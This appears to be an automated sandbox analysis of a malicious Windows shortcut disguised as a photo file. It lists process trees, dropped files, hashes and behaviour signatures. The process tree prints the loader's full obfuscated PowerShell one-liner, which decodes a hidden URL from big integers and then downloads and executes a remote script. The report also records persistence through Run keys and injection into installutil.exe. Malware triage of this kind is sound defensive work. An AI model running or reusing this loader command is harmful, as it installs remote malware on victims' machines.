Analysis

  • max time kernel
    149s
  • max time network
    133s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260710-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260710-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    29/07/2026, 11:42

General

  • Target
    photov_183117091485.lnk
  • Size 2KB
  • Sample260729-nvgrragb53
  • SHA256 66d8da0dd81bd28073abd9baeaa29fc0a04fb4d6887f2db77276c066bb06a8d9
  • MD5 SHA1 SHA512 TLSH

Malware Config

Signatures

  • Badlisted process makes network request 3 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Executes dropped EXE 3 IoCs
  • Loads dropped DLL 7 IoCs
  • Adds Run key to start application 2 TTPs 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 2 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • System Location Discovery: System Language Discovery 1 TTPs 2 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: LoadsDriver 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of WriteProcessMemory 14 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c C:\Users\Admin\AppData\Local\Temp\photov_183117091485.lnk
    1⤵
    • Executes a command shell one-liner
    • Suspicious use of WriteProcessMemory
    PID:808
    • C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c powershell -WindowStyle Minimized -c "$exe75=4;$v_sqtmt=60;$zqbfn=[bigint]::Parse('74428883166400785654130344696583343985873605');$miirl9x=[bigint]::Parse('74428882573233695196031377501526074837036892');$zqbfn=$zqbfn-$miirl9x;$ttn84rqumn=@();while($zqbfn -gt 0){$ttn84rqumn+=[char][int]([bigint]::Remainder($zqbfn,256));$zqbfn=[bigint]::Divide($zqbfn,256)};.([scriptblock]::Create((irm(-join$ttn84rqumn))))"
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:5580
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -WindowStyle Minimized -c "$exe75=4;$v_sqtmt=60;$zqbfn=[bigint]::Parse('74428883166400785654130344696583343985873605');$miirl9x=[bigint]::Parse('74428882573233695196031377501526074837036892');$zqbfn=$zqbfn-$miirl9x;$ttn84rqumn=@();while($zqbfn -gt 0){$ttn84rqumn+=[char][int]([bigint]::Remainder($zqbfn,256));$zqbfn=[bigint]::Divide($zqbfn,256)};.([scriptblock]::Create((irm(-join$ttn84rqumn))))"
        3⤵
        • Badlisted process makes network request
        • Adds Run key to start application
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:1232
        • C:\Users\Admin\AppData\Local\heccp_wv_upd_tif9bc7fd37b58847\psl.exe
          "C:\Users\Admin\AppData\Local\heccp_wv_upd_tif9bc7fd37b58847\psl.exe"
          4⤵
          • Executes dropped EXE
          • Loads dropped DLL
          • Adds Run key to start application
          • Suspicious use of SetThreadContext
          • Suspicious use of WriteProcessMemory
          PID:2924
          • C:\Windows\Microsoft.NET\Framework\v4.0.30319\installutil.exe
            "C:\Windows\Microsoft.NET\Framework\v4.0.30319\installutil.exe"
            5⤵
            • System Location Discovery: System Language Discovery
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:3784
  • C:\Windows\system32\cmd.exe
    "cmd /c start "" /D "C:\ProgramData\pslservicewinx32" "C:\ProgramData\pslservicewinx32\psl.exe""
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:3424
    • C:\ProgramData\pslservicewinx32\psl.exe
      "C:\ProgramData\pslservicewinx32\psl.exe""
      2⤵
      • Executes dropped EXE
      • Loads dropped DLL
      • Suspicious use of SetThreadContext
      • Suspicious use of WriteProcessMemory
      PID:1464
      • C:\Windows\Microsoft.NET\Framework\v4.0.30319\installutil.exe
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\installutil.exe"
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:6236
  • C:\Windows\Temp\DCRCVDrv.sys
    C:\Windows\Temp\DCRCVDrv.sys
    1⤵
    • Executes dropped EXE
    PID:4004

Network

        MITRE ATT&CK Enterprise v16

        Replay Monitor

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        Downloads

        qowocxe_licx6_ptwpseh.zip

        • Path C:\Users\Admin\AppData\Local\Temp\qowocxe_licx6_ptwpseh.zip
        • Size 4.6MB
        • SHA256 710326f27c8dbd58d83c386dbbdc5c807cbc7f31ef07ad74d08d785419dc5c9a
        • MD5 SHA1 SHA512 SSDEEP TLSH

        VCRUNTIME140_1.dll

        • Path C:\Users\Admin\AppData\Local\heccp_wv_upd_tif9bc7fd37b58847\VCRUNTIME140_1.dll
        • Size 46KB
        • SHA256 e6bfb3662ab4b1969a73441dbe35c96d51441b6bff8cf1fe7430bd5b246ca605
        • MD5 SHA1 SHA512 SSDEEP TLSH

        libiconv-2.dll

        • Path C:\Users\Admin\AppData\Local\heccp_wv_upd_tif9bc7fd37b58847\libiconv-2.dll
        • Size 1.1MB
        • SHA256 2e5883a09cfc4391cb81db3f0da4d9b8cda21fc1b287e73a1624ad518d941b94
        • MD5 SHA1 SHA512 SSDEEP TLSH

        libidn2-0.dll

        • Path C:\Users\Admin\AppData\Local\heccp_wv_upd_tif9bc7fd37b58847\libidn2-0.dll
        • Size 251KB
        • SHA256 3ebaf0f048ad557c789c7602bbf0ff878b4e1c84b27fac559ad72c72259bd90e
        • MD5 SHA1 SHA512 SSDEEP TLSH

        libintl-8.dll

        • Path C:\Users\Admin\AppData\Local\heccp_wv_upd_tif9bc7fd37b58847\libintl-8.dll
        • Size 301KB
        • SHA256 a62094d6e21670f460cb110389d2cb7b9bc12cfbb075151eeb2c52436cc02755
        • MD5 SHA1 SHA512 SSDEEP TLSH

        libpsl-5.dll

        • Path C:\Users\Admin\AppData\Local\heccp_wv_upd_tif9bc7fd37b58847\libpsl-5.dll
        • Size 21.0MB
        • SHA256 d1226435633f94e588dd20b6d15540dc18f30dcc3df1111795f24ef5d60cff06
        • MD5 SHA1 SHA512 SSDEEP TLSH

        libunistring-5.dll

        • Path C:\Users\Admin\AppData\Local\heccp_wv_upd_tif9bc7fd37b58847\libunistring-5.dll
        • Size 2.1MB
        • SHA256 35eae7305e2e108ec3eac677f3357e376247e77e32aaecbf818b2c68f134d91c
        • MD5 SHA1 SHA512 SSDEEP TLSH

        msvcp140.dll

        • Path C:\Users\Admin\AppData\Local\heccp_wv_upd_tif9bc7fd37b58847\msvcp140.dll
        • Size 540KB
        • SHA256 def46aa6a8f72f27bafac0c43334419486a4d1dcdb6c479a8ef7034b3e1fa4cb
        • MD5 SHA1 SHA512 SSDEEP TLSH

        psl.exe

        • Path C:\Users\Admin\AppData\Local\heccp_wv_upd_tif9bc7fd37b58847\psl.exe
        • Size 64KB
        • SHA256 68e81ce966ca0c016bb638d0d29b106a0da7eab2ddf70438d8182fa89baf5d78
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ucrtbase.dll

        • Path C:\Users\Admin\AppData\Local\heccp_wv_upd_tif9bc7fd37b58847\ucrtbase.dll
        • Size 1.3MB
        • SHA256 c2ed69b4a1bb9432c75134e813c70539e27c8c1fe96a784d9be78c874e93d9d5
        • MD5 SHA1 SHA512 SSDEEP TLSH

        vcruntime140.dll

        • Path C:\Users\Admin\AppData\Local\heccp_wv_upd_tif9bc7fd37b58847\vcruntime140.dll
        • Size 120KB
        • SHA256 184146852727a9db4eea06178716bec3cdbb1015c911f6b0f915b184ad7775b2
        • MD5 SHA1 SHA512 SSDEEP TLSH

        DCRCVDrv.sys

        • Path C:\Windows\Temp\DCRCVDrv.sys
        • Size 137KB
        • SHA256 87e8d39db624f37d3e77aedf487a2dfd197f71a4730ea74f4e7a4341deaec2ff
        • MD5 SHA1 SHA512 SSDEEP TLSH

        memory/1232-10-0x00007FFFFB580000-0x00007FFFFBF24000-memory.dmp

        memory/1232-65-0x00007FFFFB580000-0x00007FFFFBF24000-memory.dmp

        memory/1232-16-0x00007FFFFB580000-0x00007FFFFBF24000-memory.dmp

        memory/1232-17-0x00007FFFFB580000-0x00007FFFFBF24000-memory.dmp

        memory/1232-18-0x00007FFFFB580000-0x00007FFFFBF24000-memory.dmp

        memory/1232-19-0x00007FFFFB580000-0x00007FFFFBF24000-memory.dmp

        memory/1232-21-0x000002891E850000-0x000002891E862000-memory.dmp

        memory/1232-14-0x000002891E3B0000-0x000002891E3BA000-memory.dmp

        memory/1232-13-0x00007FFFFB580000-0x00007FFFFBF24000-memory.dmp

        memory/1232-12-0x000002891F000000-0x000002891F528000-memory.dmp

        memory/1232-63-0x00007FFFFB580000-0x00007FFFFBF24000-memory.dmp

        memory/1232-15-0x00007FFFFB580000-0x00007FFFFBF24000-memory.dmp

        memory/1232-11-0x00007FFFFB580000-0x00007FFFFBF24000-memory.dmp

        memory/1232-3-0x000002891E2D0000-0x000002891E2F2000-memory.dmp

        memory/1232-9-0x000002891E900000-0x000002891EAC2000-memory.dmp

        memory/1232-8-0x00007FFFFB580000-0x00007FFFFBF24000-memory.dmp

        memory/1232-7-0x00007FFFFB580000-0x00007FFFFBF24000-memory.dmp

        memory/1232-6-0x00007FFFFB580000-0x00007FFFFBF24000-memory.dmp

        memory/1232-5-0x00007FFFFB580000-0x00007FFFFBF24000-memory.dmp

        memory/1232-4-0x00007FFFFB580000-0x00007FFFFBF24000-memory.dmp

        memory/1232-0-0x00007FFFFB70F000-0x00007FFFFB710000-memory.dmp

        memory/2924-96-0x00007FF767A70000-0x00007FF767A85000-memory.dmp

        memory/3784-214-0x0000000005540000-0x0000000005566000-memory.dmp

        memory/3784-174-0x0000000005540000-0x0000000005566000-memory.dmp

        memory/3784-109-0x0000000005520000-0x000000000553A000-memory.dmp

        memory/3784-112-0x0000000005540000-0x000000000556C000-memory.dmp

        memory/3784-132-0x0000000005540000-0x0000000005566000-memory.dmp

        memory/3784-152-0x0000000005540000-0x0000000005566000-memory.dmp

        memory/3784-222-0x0000000005540000-0x0000000005566000-memory.dmp

        memory/3784-234-0x0000000005540000-0x0000000005566000-memory.dmp

        memory/3784-232-0x0000000005540000-0x0000000005566000-memory.dmp

        memory/3784-230-0x0000000005540000-0x0000000005566000-memory.dmp

        memory/3784-228-0x0000000005540000-0x0000000005566000-memory.dmp

        memory/3784-226-0x0000000005540000-0x0000000005566000-memory.dmp

        memory/3784-224-0x0000000005540000-0x0000000005566000-memory.dmp

        memory/3784-220-0x0000000005540000-0x0000000005566000-memory.dmp

        memory/3784-218-0x0000000005540000-0x0000000005566000-memory.dmp

        memory/3784-216-0x0000000005540000-0x0000000005566000-memory.dmp

        memory/3784-1371-0x0000000006FF0000-0x00000000075AA000-memory.dmp

        memory/3784-212-0x0000000005540000-0x0000000005566000-memory.dmp

        memory/3784-210-0x0000000005540000-0x0000000005566000-memory.dmp

        memory/3784-208-0x0000000005540000-0x0000000005566000-memory.dmp

        memory/3784-206-0x0000000005540000-0x0000000005566000-memory.dmp

        memory/3784-204-0x0000000005540000-0x0000000005566000-memory.dmp

        memory/3784-202-0x0000000005540000-0x0000000005566000-memory.dmp

        memory/3784-200-0x0000000005540000-0x0000000005566000-memory.dmp

        memory/3784-198-0x0000000005540000-0x0000000005566000-memory.dmp

        memory/3784-196-0x0000000005540000-0x0000000005566000-memory.dmp

        memory/3784-194-0x0000000005540000-0x0000000005566000-memory.dmp

        memory/3784-192-0x0000000005540000-0x0000000005566000-memory.dmp

        memory/3784-188-0x0000000005540000-0x0000000005566000-memory.dmp

        memory/3784-186-0x0000000005540000-0x0000000005566000-memory.dmp

        memory/3784-184-0x0000000005540000-0x0000000005566000-memory.dmp

        memory/3784-182-0x0000000005540000-0x0000000005566000-memory.dmp

        memory/3784-180-0x0000000005540000-0x0000000005566000-memory.dmp

        memory/3784-178-0x0000000005540000-0x0000000005566000-memory.dmp

        memory/3784-176-0x0000000005540000-0x0000000005566000-memory.dmp

        memory/3784-95-0x0000000000400000-0x0000000000470000-memory.dmp

        memory/3784-170-0x0000000005540000-0x0000000005566000-memory.dmp

        memory/3784-168-0x0000000005540000-0x0000000005566000-memory.dmp

        memory/3784-166-0x0000000005540000-0x0000000005566000-memory.dmp

        memory/3784-164-0x0000000005540000-0x0000000005566000-memory.dmp

        memory/3784-162-0x0000000005540000-0x0000000005566000-memory.dmp

        memory/3784-160-0x0000000005540000-0x0000000005566000-memory.dmp

        memory/3784-158-0x0000000005540000-0x0000000005566000-memory.dmp

        memory/3784-154-0x0000000005540000-0x0000000005566000-memory.dmp

        memory/3784-150-0x0000000005540000-0x0000000005566000-memory.dmp

        memory/3784-148-0x0000000005540000-0x0000000005566000-memory.dmp

        memory/3784-146-0x0000000005540000-0x0000000005566000-memory.dmp

        memory/3784-144-0x0000000005540000-0x0000000005566000-memory.dmp

        memory/3784-142-0x0000000005540000-0x0000000005566000-memory.dmp

        memory/3784-140-0x0000000005540000-0x0000000005566000-memory.dmp

        memory/3784-138-0x0000000005540000-0x0000000005566000-memory.dmp

        memory/3784-136-0x0000000005540000-0x0000000005566000-memory.dmp

        memory/3784-134-0x0000000005540000-0x0000000005566000-memory.dmp

        memory/3784-130-0x0000000005540000-0x0000000005566000-memory.dmp

        memory/3784-128-0x0000000005540000-0x0000000005566000-memory.dmp

        memory/3784-126-0x0000000005540000-0x0000000005566000-memory.dmp

        memory/3784-124-0x0000000005540000-0x0000000005566000-memory.dmp

        memory/3784-122-0x0000000005540000-0x0000000005566000-memory.dmp

        memory/3784-120-0x0000000005540000-0x0000000005566000-memory.dmp

        memory/3784-118-0x0000000005540000-0x0000000005566000-memory.dmp

        memory/3784-116-0x0000000005540000-0x0000000005566000-memory.dmp

        memory/3784-114-0x0000000005540000-0x0000000005566000-memory.dmp

        memory/3784-113-0x0000000005540000-0x0000000005566000-memory.dmp

        memory/3784-190-0x0000000005540000-0x0000000005566000-memory.dmp

        memory/3784-172-0x0000000005540000-0x0000000005566000-memory.dmp

        memory/3784-156-0x0000000005540000-0x0000000005566000-memory.dmp

        memory/3784-1367-0x00000000057D0000-0x0000000005836000-memory.dmp

        memory/3784-1370-0x0000000006990000-0x0000000006A22000-memory.dmp

        memory/4004-93-0x0000000000010000-0x000000000003D000-memory.dmp